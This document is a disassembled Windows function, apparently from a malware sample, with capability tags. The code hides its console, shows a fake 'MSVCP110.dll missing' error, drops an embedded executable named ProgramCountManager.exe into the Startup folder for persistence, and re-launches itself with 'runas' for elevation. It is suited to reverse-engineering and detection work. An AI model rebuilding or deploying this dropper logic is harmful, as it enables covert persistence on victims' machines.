Function at 0x140001290
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x500], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000148c
mov dword [rbp - 0x50], 4
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 4]
lea r8, [rbp - 0x4c]
lea edx, [rbx + 0x14]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x14000148c
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSVCP110.dll_is_missing_from_your_computer.Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rax, [rbp + 0xd0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001350
xor edx, edx
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x1e0]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001370
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x1e0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0xd0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400013b2
lea r8, [rbp + 0x1e0]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400013d0
lea rcx, [rbp + 0xd0]
dec rcx
nop word [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400013f0
movups xmm0, xmmword [str.ProgramCountManager.exe]
movups xmmword [rcx], xmm0
movsd xmm0, qword [0x140004650]
movsd qword [rcx + 0x10], xmm0
movzx eax, byte [0x140004658]
mov byte [rcx + 0x18], al
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x40]
call fcn.140002260
nop
mov r8d, 0x3000
lea rdx, [0x1400070c0]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.140002670
test rax, rax
jne 0x14000147e
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x40]
call fcn.140001540
jmp 0x140001510
mov r8d, 0x104
lea rdx, [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001510
mov dword [rsp + 0x40], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp - 0x5c], rax
mov dword [rbp - 0x54], eax
lea rax, str.runas
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x58], rax
movdqa xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 1
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140001510
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.140002a20
mov rbx, qword [rsp + 0x620]
add rsp, 0x610
pop rbp
ret